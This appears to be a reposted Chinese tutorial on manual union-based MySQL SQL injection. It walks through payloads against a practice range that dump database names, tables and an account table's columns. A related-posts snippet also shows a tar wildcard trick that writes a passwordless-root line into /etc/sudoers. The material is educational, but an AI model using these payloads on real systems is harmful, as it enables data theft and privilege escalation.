转载: https://www.cnblogs.com/cui0x01/p/8620524.html

一、Mysql数据库结构

    数据库A

        表名

          列名

             数据

    数据库B

        表名

          列名

             数据

Mysql5.0以上自带数据库:information_schema

information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)

参数及解释

database():数据库名

user():数据库用户

version():数据库版本

@@version_compile_os:操作系统

符号“.”代表下一级的意思

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

Table_schema:数据库名

Table_name:表名

Column_name:列名

下面使用手工  对   数字型sqli 注入漏洞进行注入

感谢  米斯特安全 提供的在线靶场

地址  :http://132.232.100.27:88/

输入1  返回正常

输入 1' 返回错误

输入 1+1 返回正常,存在数字型注入漏洞

(也可以使用  1 and 1=1 返回正常)

(1 and 1=2 来进行判断 如果 1=1 返回正常页面  1=2 返回错误页面存在注入漏洞)

SELECT * FROM news WHERE id = 1 and 1=2

SELECT * FROM news WHERE id = 1 and 1=2

查询表中的字段数  (也可以使用order by 我这里使用的是union select)

在input 中输入1 union select 1,2,3 返回正常页面

在input 中输入1 union select 1,2,3,4 返回错误页面

说明 该表中有3个字段

SELECT * FROM news WHERE id = 1 union select 1,2,3

查询相关内容:
 
可以在显位的位置插入的预设函数;
User() 查看用户 
database()  --查看数据库名称    
Version() --查看数据库版本  
@@datadir --数据库路径
@@version_compile_os--操作系统版本  
system_user() --系统用户名 
current_user()--当前用户名  
session_user()--连接数据库的用户名
 

下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名  用户  版本

查询数据库  -1 union select  1,database(),3

可以查出数据库的名称就:pentest

group_concat语法: 
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

查询所有的数据库

-1 union select 1,group_concat(schema_name),3 from information.schemata

注意 改变的时候 不要将 1  替换 ,好像没有查询 字段1,如果替换字段1  是没有反应的

可以查出 数据库中 有  information_schema,mysql,pentest,performance_schema  等库

查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表

  查询  = 数据库名的时候  需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)

  pentest   =====>    0x70656e74657374

  在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374

  

  查询结果如下

  

  pentest数据库中 有两个表分别为   account   和  news

  下面查询 account表中的列

     account转换为 16进制

     account ------->>>>  0x6163636f756e74  

  下一步 查询 account表中的列名

    在输入框中输入

      -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74

   

 查询结果如下 : 有三个 字段  Id  rest  own

  

最后一步,查询表中的数据

    -1 union select 1,rest,own from account

    最终查询出来的结果为

    

  

  

WEB 安全学习 一、mysql 注入漏洞的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  3. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  4. ADO学习笔记之注入漏洞与参数化查询

    ADO学习笔记之注入漏洞与参数化查询 作为新手,在学习ADO程序时,使用 sql 语言查询数据时,很容易写类似如下代码: using (SqlConnection con = new SqlConne ...

  5. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  6. Python-编写一个mysql注入漏洞检测工具

    判断mysql网站是否存在注入漏洞的几个方法: 注入点后加上一个单引号会报错 and 1=1返回正常页面,and 1=2返回的页面不同于正常页面 and sleep(3) 网页会等待3秒左右 根据返回 ...

  7. 2020/1/27代码审计学习之SQL注入漏洞

    PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...

  8. web安全原理分析-SQL注入漏洞全解

    简介 靶场:榆林学院信息安全协会--入侵榆大实验靶场 数字型注入 1 字符型注入 1 布尔注入 1.布尔注入简介 mysql bool注入是盲注的一种.与报错注入不同,bool注入没有任何报错信息输出 ...

  9. WEB安全学习二、注入工具 sqlmap的使用

    使用的是Kali Linux 系统,系统中默认的sqlmap 是安装好了的,电脑上没有安装sqlmap,自己百度  ,需要python的环境 使用 命令   sqlmap -h 可以查看   sqlm ...

随机推荐

  1. JavaScript <script>标签的位置、延迟脚本(defer属性)与 异步脚本(async属性)

    一.<script>标签的位置 传统的做法是将<script>元素放在<head>元素中,例如: <!DOCTYPE html><html > ...

  2. c# 对话框控件

    对话框也是一种窗体,通常调用对对话框相关类型的ShowDialog方法来弹出对话框,当用户关闭对话框后,该方法会返回一个DialogResult枚举值,通过该值就可以判断用户采取了什么操作,例如单击确 ...

  3. memcache,redis对比

    一.问题:     数据库表数据量极大(千万条),要求让服务器更加快速地响应用户的需求.   二.解决方案:      1.通过高速服务器Cache缓存数据库数据      2.内存数据库     ( ...

  4. Inception 模型

    https://blog.csdn.net/xxiaozr/article/details/71481356 inception v1: 去除了最后的全连接层,使用全局平均池化层来代替,因为全连接层的 ...

  5. PKUWC2018 5/6

    总结: D1T1T2的思路较为好想,D1T3考试时估计是战略放弃的对象,D2T1思路容易卡在优化状态上(虽然明显3n的状态中有很多无用状态,从而想到子集最优,选择子集最优容易发现反例,从而考虑连带周边 ...

  6. Prometheus监控学习笔记之360基于Prometheus的在线服务监控实践

    0x00 初衷 最近参与的几个项目,无一例外对监控都有极强的要求,需要对项目中各组件进行详细监控,如服务端API的请求次数.响应时间.到达率.接口错误率.分布式存储中的集群IOPS.节点在线情况.偏移 ...

  7. 容器学习笔记之CentOS7安装Docker(安装指定版本的Docker,加速,卸载)

    0x00 概述 Docker从1.13版本之后采用时间线的方式作为版本号,分为社区版CE和企业版EE. 社区版是免费提供给个人开发者和小型团体使用的,企业版会提供额外的收费服务,比如经过官方测试认证过 ...

  8. Golang并发编程有缓冲通道和无缓冲通道(channel)

    无缓冲通道 是指在接收前没有能力保存任何值得通道.这种类型的通道要求发送goroutine和接收goroutine同时准备好,才能完成发送和接收操作.如果两个goroutine没有同时准备好,通道会导 ...

  9. 【题解】Luogu P1533 可怜的狗狗

    原题传送门 莫队介绍,Splay介绍 离线的题目,莫队是不错的解决方法 先把询问排一下序 剩下就套一个莫队的板子 每来一只狗就把漂亮值插入平衡树 每去掉一只狗就把漂亮值从平衡树中删掉 每次查询查平衡树 ...

  10. linux普通用户提权

    tar通配符注入. echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh e ...